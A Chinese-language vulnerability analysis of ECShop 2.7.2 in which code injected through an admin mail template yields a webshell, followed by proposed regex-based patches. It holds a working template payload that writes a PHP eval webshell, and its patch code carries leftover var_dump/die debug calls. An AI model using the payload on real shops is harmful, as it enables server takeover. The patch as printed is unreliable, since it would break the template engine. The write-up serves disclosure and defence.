ECSHOP Inject PHPCode Into ecs_mail_templates table Via \admin\mail_template.php && \includes\cls_template.php Vul Tag_PHP_Code Execute Getshell
目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
Ecshop后台模版编辑漏洞,黑客可以在获得了后台管理员的帐号密码之后,可以通过在模版中插入PHP代码,然后通过其他的访问途径让模版中的代码得以执行,从而进行GETSHELL
Relevant Link:
http://www.cnblogs.com/LittleHann/p/4077491.html http://www.secpulse.com/archives/18839.html
2. 漏洞触发条件
0x1: 需要登录后台
这个漏洞需要黑客能够登录到ecshop的后台,进行后台的模版编辑操作
0x2: 向模版中插入php tag代码
模块管理 -> 邮件模版 -> 把内容改成 {$user_name'];file_put_contents(base64_decode('Li4vdGVtcC9zaGVsbC5waHA='),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4='));echo $var['$user_name} </p> <p>{$user_name}您好!<br /> <br /> 您已经进行了密码重置的操作,请点击以下链接(或者复制到您的浏览器):<br /> <br /> <a target="_blank" href="{$reset_email}">{$reset_email}</a><br /> <br /> 以确认您的新密码重置操作!<br /> <br /> {$shop_name}<br /> {$send_date}</p>
注入的PHP代码翻译过来是
file_put_contents(base64_decode('../temp/shell.php','<?php @eval($_POST['207']);?>');
完成修改后,点击确定,保存模版的修改,和myship.lbi漏洞不同的是,对于邮件模版来说,注入的PHP代码被保存到了数据库中
/admin/mail_template.php
elseif ($_REQUEST['act'] == 'save_template') { $_POST['subject'] = json_str_iconv($_POST['subject']); $_POST['content'] = json_str_iconv($_POST['content']); //echo $_POST['content']; //die(); if (empty($_POST['subject'])) { make_json_error($_LANG['subject_empty']); } else { $subject = trim($_POST['subject']); } if (empty($_POST['content'])) { make_json_result($_LANG['content_empty']); } else { $content = trim($_POST['content']); } $type = intval($_POST['is_html']); $tpl_id = intval($_POST['tpl']); if ($type) { $content = str_replace(array("\r\n", "\n"), array('<br />', '<br />'), $content); } else { $content = str_replace('<br />', '\n', $content); } $sql = "UPDATE " .$ecs->table('mail_templates'). " SET ". "template_subject = '" .str_replace('\\\'\\\'', '\\\'', $subject). "', ". "template_content = '" .str_replace('\\\'\\\'', '\\\'', $content). "', ". "is_html = '$type', ". "last_modify = '" .gmtime(). "' ". "WHERE template_id='$tpl_id'"; if ($db->query($sql, "SILENT")) { make_json_result('', $_LANG['update_success']); } else { make_json_error($_LANG['update_failed'] ."\n". $GLOBALS['db']->error()); } }
0x3: 触发注入模版代码的执行
访问后台的密码找回链接
代码流支会走到/inlcude/cls_template.php的模版解析逻辑,ecshop对邮件模版代码进行编译,在代码编译的时候,被注入的代码得以执行
Relevant Link:
http://www.sky00.com/archives/908.html http://www.51php.com/ecshop/9924.html
3. 漏洞影响范围
ECShop_V2.7.2 ECShop_V2.7.2 及以前版本
4. 漏洞代码分析
5. 防御方法
0x1: 模板代码注入的上传入口Patch
还是采取边界防御的思想,对可能导致模版中代码插入的"编辑入口"进行恶意代码防御
/admin/mail_template.php
/*------------------------------------------------------ */ //-- 保存模板内容 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'save_template') { if (empty($_POST['subject'])) { sys_msg($_LANG['subject_empty'], 1, array(), false); } else { $subject = trim($_POST['subject']); } if (empty($_POST['content'])) { sys_msg($_LANG['content_empty'], 1, array(), false); } else { $content = trim($_POST['content']); } $type = intval($_POST['is_html']); $tpl_id = intval($_POST['tpl']); /*过滤了部分php关键词*/ $temp_check = preg_replace("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", "", $content); $temp_check = preg_replace("/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU", "", $temp_check); $content = $temp_check; /**/ $sql = "UPDATE " .$ecs->table('mail_templates'). " SET ". "template_subject = '" .str_replace('\\\'\\\'', '\\\'', $subject). "', ". "template_content = '" .str_replace('\\\'\\\'', '\\\'', $content). "', ". "is_html = '$type', ". "last_modify = '" .gmtime(). "' ". "WHERE template_id='$tpl_id'"; if ($db->query($sql, "SILENT")) { $link[0]=array('href' => 'mail_template.php?act=list', 'text' => $_LANG['update_success']); sys_msg($_LANG['update_success'], 0, $link); } else { sys_msg($_LANG['update_failed'], 1, array(), false); } }
0x2: 脏数据清除
除了不让黑客技术向模版中注入PHP代码之外,对已经保存在数据库中的可执行PHP代码脏数据,要进行清除。
需要找到使用了邮件模版的文件(get_password.php),在从数据库中获取邮件模版代码的代码逻辑流中插入恶意代码检测逻辑,当发现数据库中的邮件模版含有恶意代码的时候,对数据库中的数据进行清除
\ecshop2.7.2\admin\get_password.php
一种想法是直接针对get_password.php获取模版代码的代码逻辑位置检测PHP代码、模版代码,但是问题是ecshop中使用到邮件模版的地方有很多个,这个攻击向量的防御思想很难做到完美防御,最好的方法还是单点的入口防御
0x3: 单点入口防御:修复ecshop模版编译引擎源代码
\ecshop2.7.2\includes\init.php
\ecshop2.7.2\includes\cls_template.php
function fetch_str($source) { var_dump($source); if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source); if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } $resutl = preg_replace_callback("/{([^\}\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source); die(var_dump($resutl)); return $resutl; }
防御代码对ecshop的模板标签进行了转义实例化处理,即echo输出
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved